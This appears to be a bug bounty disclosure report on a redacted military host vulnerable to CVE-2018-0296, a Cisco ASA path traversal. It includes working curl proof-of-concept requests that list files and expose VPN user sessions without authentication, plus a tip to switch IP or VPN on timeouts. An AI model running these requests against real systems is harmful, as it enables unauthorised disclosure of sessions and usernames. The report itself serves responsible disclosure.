##Description
I discovered previously unidentified instance https://████/ (██████.mil) in ███ network, vulnerable to the CVE-2018-0296 (https://vulners.com/cve/CVE-2018-0296)

##POC

curl -i -k "https://█████████/+CSCOU+/../+CSCOE+/files/file_list.json" --path-as-is

██████

We can disclose user sessions by quering /sessions:

curl -i -k "https://████████/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions" --path-as-is

##Suggested fix
Updating to the latest version should fix the issue. Fixed version should give 404 “File not found” error.
Example of patched version:

curl -i -k "https://mvpn3.███/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions" --path-as-is

##Notes
In case you experience request timeout when reproducing, try to change your IP/VPN.

Impact

Path traversal, which can allow the unauthenticated attacker disclose sensitive information such as VPN sessions, files, usernames. Under some conditions it’s possible to cause DOS attacks
